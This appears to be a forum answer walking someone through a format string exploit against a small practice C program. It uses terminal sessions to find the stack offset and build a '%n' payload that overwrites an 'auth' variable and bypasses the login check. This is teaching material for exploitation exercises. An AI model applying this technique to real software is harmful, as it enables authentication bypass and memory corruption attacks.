The reason why you get a segmentation fault is likely because you try to write to the wrong address (why else). Now, while experimenting with your program, I found three main reasons why that could happen:
- Hit the wrong spot using the wrong number of
%x
s
- Access the wrong address because of formatting errors
- Get the above right but try to use the wrong address to begin with
I'm pretty sure you got the first point right:
$ ./a.out
0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825
As we can see, I would need 5 times %x
to get to the right location. I should verify that this will be the case for every consecutive time I run the program:
$ ./a.out
0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141
Again, 5 times (likely -fno-stack-protector
doing its job). The 6th occurence of %x
will need to be replaced with %n
. If you get the wrong number, you will likely encounter a segmentation fault.
Now, we need to make sure we overwrite at the right address. As you can see from the above examples, the address of auth
is a different one every time I run the program.
To get the right address we would need to "respond" to whatever printf("%p\n", &auth)
tells us. I achieved that by using the following command:
$ ./a.out < <(python)
0xffd51e77
Python 3.8.2 (default, Apr 8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141
As you can see, auth
's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin
using Python.
But there's another problem I mentioned earlier: Formatting.
I don't know a lot about Python 3 and how it handles Strings, but if I decide to print
the following:
$ ./a.out < <(python)
0xffd1cbb7
Python 3.8.2 (default, Apr 8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3
I would expect the content of the start of our input string (in hexadecimal) to be ffffffff
, instead I got bfc3bfc3
at that location. If I would have to take a guess, I would say that has something to do with UTF-8, Python 3's default encoding.
To get around that behavior, I used Python 2 instead, which seems to default to ASCII.
$ ./a.out < <(python2)
0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>> c8 f7f69540 565e521a 0 0 ffffffff
The only thing that's left is to print
the right address in the correct byte order, followed by 5 times %x
to move the stack pointer to the right position, followed by a %n
to overwrite auth
with something non-zero.
$ ./a.out < <(python2)
0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated
And we're in.
authenticated
. I don't thinkAAAA%6$p
is going to do that. What are you trying to do?auth
variable to something > 0 since the check below will then pass